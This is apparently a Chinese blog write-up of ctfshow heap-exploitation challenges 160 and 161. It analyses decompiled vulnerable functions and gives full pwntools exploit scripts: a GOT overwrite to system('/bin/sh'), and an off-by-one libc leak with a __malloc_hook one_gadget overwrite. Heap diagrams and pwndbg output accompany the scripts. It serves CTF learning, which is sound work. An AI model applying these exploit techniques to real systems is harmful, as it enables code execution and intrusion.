堆利用学习ctfshow(160~?)

参考文章

160

找到漏洞点在exit处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int __cdecl sub_80488C0(unsigned __int8 a1)
{
unsigned int result; // eax
int v2; // [esp+18h] [ebp-10h] BYREF
unsigned int v3; // [esp+1Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B061 && *((_DWORD *)&unk_804B080 + a1) )
{
v2 = 0;
printf("text length: ")
__isoc99_scanf("%u%c", &v2);
if ( **((_DWORD **)&unk_804B080 + a1) + v2 >= (unsigned int)(*((_DWORD *)&unk_804B080 + a1) - 4) )
{
puts("Wtf?");
exit(1);
}
printf("text: ");
sub_8048846(**((_DWORD **)&unk_804B080 + a1), v2 + 1);
}
result = __readgsdword(0x14u) ^ v3;
if ( result )
sub_8048EF0();
return result;
}
1
**((_DWORD **)&unk_804B080 + a1) + v2 >= (unsigned int)(*((_DWORD *)&unk_804B080 + a1) - 4)

这个判断处在漏洞,它是通过限制修改的长度,使得我们自己创建的chunk地址加上修改长度不能超过系统创建的chunk的长度。

但是这种限制是可以绕过的。

虚拟机高级会自己检查出堆溢出,等我配个低级的虚拟机再继续来写,不然无法调试。

安装好了ubuntu20继续做题。

来动调看看变化,还是有自动检查,不知道什么问题。只能先放这里了,目前只只能理论上理解这题了。

附个佬的exp,再用图来解释攻击过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("xxxx", xxxx)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("xxxx.so")

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size,data,size1,data1):
sla(b"Action: ",b"0")
ru(b"size of description: ")
sl(str(size))
ru(b"name: ")
sl(data)
ru(b"text length: ")
sl(str(size1))
ru(b"text: ")
sl(data1)

def free(idx):
sla(b"Action: ",b"1")
sla(b"index: ",str(idx))

def show(idx):
sla(b"Action: ",b"2")
sla(b"index: ",str(idx))

def edit(idx,size,data):
sla(b"Action: ",b"3")
sla(b"index: ",str(idx))
ru(b"text length: ")
sl(str(size))
ru(b"text: ")
sl(data)


free_got = elf.got['free']

add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")


free(0)
add(0x100,b"vvvv",0x100,b"gggg")


edit(3,0x200,b"a"*0x108+p32(0)+p32(0x89)+b"a"*0x80+p32(0)+p32(0x89)+p32(free_got))
show(1)
free_addr = u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
libc_base = free_addr-libc.sym['free']
print("libc_base",hex(libc_base))
system_addr = libc_base+libc.sym['system']
edit(1,0x8,p32(system_addr))
free(2)


# gdb.attach(io)

itr()

Step 1:连续 add 三次后的初始布局(A 与 S 紧挨)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+----------------------+ <-- 0x8ee0000
| 主chunk0 (0x80) | # add(0x80) "aaaa"
| 数据区: 0x8ee0008 |
+----------------------+ <-- 0x8ee0090
| 系统chunk0 (0x80) | # add(0x80) "bbbb"
| 数据区: 0x8ee0098 |
+----------------------+ <-- 0x8ee0118
| 主chunk1 (0x80) | # add(0x80) "aaaa"
| 数据区: 0x8ee0120 |
+----------------------+ <-- 0x8ee01a0
| 系统chunk1 (0x80) | # add(0x80) "bbbb"
| 数据区: 0x8ee01a8 |
+----------------------+ <-- 0x8ee0228
| 主chunk2 (0x80) | # add(0x80) "aaaa"
| 数据区: 0x8ee0230 |
+----------------------+ <-- 0x8ee02b0
| 系统chunk2 (0x80) | # add(0x80) "/bin/sh;"
| 数据区: 0x8ee02b8 |
+----------------------+
| TOP CHUNK |
高地址 ↑

Step 2:free(0) 后,A0+S0 合并为空闲(低地址形成大洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
+----------------------+ <-- 0x8ee0000
| FREE(A0+S0) | # free(0) 后 A0 与 S0 合并为空闲段
| 范围: 0x8ee0000 ~ 0x8ee0118
+----------------------+ <-- 0x8ee0118
| 主chunk1 (0x80) | # 保持不变
| 数据区: 0x8ee0120 |
+----------------------+ <-- 0x8ee01a0
| 系统chunk1 (0x80) | # 保持不变
| 数据区: 0x8ee01a8 |
+----------------------+ <-- 0x8ee0228
| 主chunk2 (0x80) | # 保持不变
| 数据区: 0x8ee0230 |
+----------------------+ <-- 0x8ee02b0
| 系统chunk2 (0x80) | # 保持不变
| 数据区: 0x8ee02b8 |
+----------------------+
| TOP CHUNK |
高地址 ↑

Step 3:再次 add(0x100, "vvvv", 0x100, "gggg")

新的 主chunk3(0x100) 优先复用低地址的 FREE(把洞吃掉);

但配套的 系统chunk3(0x100) 因附近无相邻空间,只能从 TOP CHUNK(高地址)再切一块出来,因此被甩到更远处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+----------------------+ <-- 0x8ee0000
| 主chunk3 (0x100) | # 新的用户块,复用低地址 FREE
| 数据区: 0x8ee0008 |
+----------------------+ <-- 0x8ee0108
| 主chunk1 (0x80) | # 仍在原位
| 数据区: 0x8ee0120 |
+----------------------+ <-- 0x8ee01a0
| 系统chunk1 (0x80) | # 仍在原位
| 数据区: 0x8ee01a8 |
+----------------------+ <-- 0x8ee0228
| 主chunk2 (0x80) | # 仍在原位
| 数据区: 0x8ee0230 |
+----------------------+ <-- 0x8ee02b0
| 系统chunk2 (0x80) | # 仍在原位
| 数据区: 0x8ee02b8 |
+----------------------+ <-- 0x8ee0400 (举例)
| 系统chunk3 (0x100) | # 从 TOP 切分的新系统块(远端高地址)
| 数据区: 0x8ee0408 |
+----------------------+
| TOP CHUNK |
高地址 ↑

Step 4:edit(3,0x200, ...) 溢出伪造

  • 主chunk3(0x100) 本来在低地址,edit(3,0x200, …) 写入 超过 0x100 的数据,覆盖到相邻的 主chunk1 / 系统chunk1 的头部。
  • payload 把它们伪造成 size=0x89 的 fake chunk,并在 fd 指针写入 free@got
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
+----------------------+ <-- 0x8ee0000
| 主chunk3 (0x100) | # 用户可控,edit(3,...) 时从这里开始写
| 数据区: 0x8ee0008 |
| ... 溢出覆盖 ... |
| fake size=0x89 | # 伪造chunk头
| fd=free_got | # 链入 fastbin
+----------------------+ <-- 0x8ee0108
| 主chunk1 (伪造头) | # 被覆盖 size/FD 改掉
| fd=free_got |
+----------------------+ <-- 0x8ee01a0
| 系统chunk1 (0x80) | # header 被覆盖
| ... |
+----------------------+ <-- 0x8ee0228
| 主chunk2 (0x80) | # 还在原位
| 数据区: 0x8ee0230 |
+----------------------+ <-- 0x8ee02b0
| 系统chunk2 (0x80) | # /bin/sh
| 数据区: 0x8ee02b8 |
+----------------------+ <-- 0x8ee0400
| 系统chunk3 (0x100) | # 远端 TOP 分配
| 数据区: 0x8ee0408 |
+----------------------+
| TOP CHUNK |
高地址 ↑

step 5:show(1) → 泄露 free@libc

  • 因为 fake FD 指向 free_got,show(1) 会打印出 GOT 表项内容(真实的 free 地址)。
  • 通过 free_addr - libc.sym['free'] 算出 libc 基址。

Step 6:edit(1,0x8,p32(system_addr))

  • free@got 覆写成 system

Step 7:free(2)

  • 系统chunk2 数据区存的是 /bin/sh
  • 执行 free(2) 实际调用了 system("/bin/sh") → getshell 🎉

161

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_E3A(int a1, unsigned int a2)
{
__int64 result; // rax

if ( a1 > (int)a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return (unsigned int)result;
}

在edit函数中有off-by-one漏洞

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28311)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size):
sla(b"Choice: ",b"1")
sla(b"size: ",str(size))


def edit(idx,size,data):
sla(b"Choice: ",b"2")
ru(b"index: ")
sl(str(idx))
ru(b"size: ")
sl(str(size))
ru(b"content: ")
s(data)

def free(idx):
sla(b"Choice: ",b"3")
sla(b"index: ",str(idx))

def show(idx):
sla(b"Choice: ",b"4")
sla(b"index: ",str(idx))


add(0x18) #0
add(0x68) #1
add(0x68) #2
add(0x68) #3


payload = b"a"*0x18+b"\xe1"
edit(0,0x18+10,payload)
free(1)
add(0x78)
#gdb.attach(io)
#pause()
show(2)

main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena-0x10-88
libc_base = malloc_hook-libc.sym["__malloc_hook"]
fake_chunk = malloc_hook-0x23
realloc = libc_base+libc.sym["realloc"]

one_gadget = libc_base+gadget[1]
print("libc_base",hex(libc_base))

payload = p64(0)*0xd+p64(0x71)
edit(1,len(payload),payload)
free(2)
payload = p64(0)*0xd+p64(0x71)+p64(fake_chunk)
edit(1,len(payload),payload)
add(0x68)
add(0x68)

payload = b"a"*3+p64(0)+p64(one_gadget)+p64(realloc+16)
edit(4,len(payload),payload)
add(0x10)


# gdb.attach(io)

itr()

详细来解释攻击过程

1
2
3
4
add(0x18) #0
add(0x68) #1
add(0x68) #2
add(0x68) #3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f7000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f7290
Size: 0x20 (with flag bits: 0x21) chunk0

Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f72b0 chunk1
Size: 0x70 (with flag bits: 0x71)

Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f7320 chunk2
Size: 0x70 (with flag bits: 0x71)

Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f7390 chunk3
Size: 0x70 (with flag bits: 0x71)

Top chunk | PREV_INUSE
Addr: 0x60bcb54f7400
Size: 0x20c00 (with flag bits: 0x20c01)
1
2
3
4
5
6
7
8
9
10
+----------------------+ <-- A (index 0)
| chunk A (0x70) | # 用来 off-by-one
+----------------------+ <-- B (index 1)
| chunk B (0x70) | # 将被改 size=0xe0
+----------------------+ <-- C (index 2)
| chunk C (0x70) | # 后面泄露 libc
+----------------------+ <-- D (index 3)
| chunk D (0x70) | # 隔离,防合并
+----------------------+
| top chunk ... |
1
2
payload = b"a"*0x18+b"\xe1"
edit(0,0x18+10,payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x63ea93c93000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x63ea93c93290
Size: 0x20 (with flag bits: 0x21) chunk0

Allocated chunk | PREV_INUSE
Addr: 0x63ea93c932b0
Size: 0xe0 (with flag bits: 0xe1) chunk1的大小就被改了

Allocated chunk | PREV_INUSE
Addr: 0x63ea93c93390 chunk3
Size: 0x70 (with flag bits: 0x71)

Top chunk | PREV_INUSE
Addr: 0x63ea93c93400
Size: 0x20c00 (with flag bits: 0x20c01)

可以看到chunk1的大小就被改了

怎么改变的呢?

0x18会自动补全成0x20此时覆盖掉了pre size,由于off-by-one,我们写入0xe1就可以覆盖chunk1的size从而改变chunk1的大小。

这样做有什么用?

chunk1大小改变后chunk1的用户区就会覆盖到chunk2的头部。

1
free(1)  #free(B) → B(0xe0) 进 unsorted,fd/bk 写入 libc 地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x6271fdbd2000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x6271fdbd2290
Size: 0x20 (with flag bits: 0x21)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x6271fdbd22b0
Size: 0xe0 (with flag bits: 0xe1)
fd: 0x6271fdbd2

Allocated chunk | PREV_INUSE
Addr: 0x6271fdbd2390
Size: 0x70 (with flag bits: 0x71)

Top chunk | PREV_INUSE
Addr: 0x6271fdbd2400
Size: 0x20c00 (with flag bits: 0x20c01)

这里补充一下

  • glibc 的 free 逻辑(以 2.23 为例):
    • 小于等于 0x80(含 chunk header)的空闲块 → 放入 fastbin
    • 大于 0x80 且小于等于 0x400 → 放入 small bin,但第一次 free 先进入 unsorted bin
    • 更大的 → large bin / top chunk。

👉 总结:一个 chunk 进 unsorted 还是 fastbin,取决于它的 size(含 header)

这样做有什么用?

由上一步chunk1的用户区覆盖到chunk2的头部,当 chunk1 进 unsorted 时,glibc 会在这个空闲块的用户区最前面写入 fd/bk 指针,指向 main_arena这些指针是 libc 地址

由于 chunk1 被“扩成了 0xe0”,它的“用户区”已经覆盖到 chunk2的头和部分用户区;于是 unsorted 的 fd/bk 指针就落在了 C 的用户区里(重叠泄露的关键)

这时 add(0x88) show(2) 将chunk1申请回来再,打印 chunk2,就能读到 main_arena 相关指针,从而泄露 libc。

远程是可以泄露的,但是在本地调试的时候add(0x88)的时候会回直接申请一个新堆块,导致没成功,现在还没找到解决办法,先放这里。

162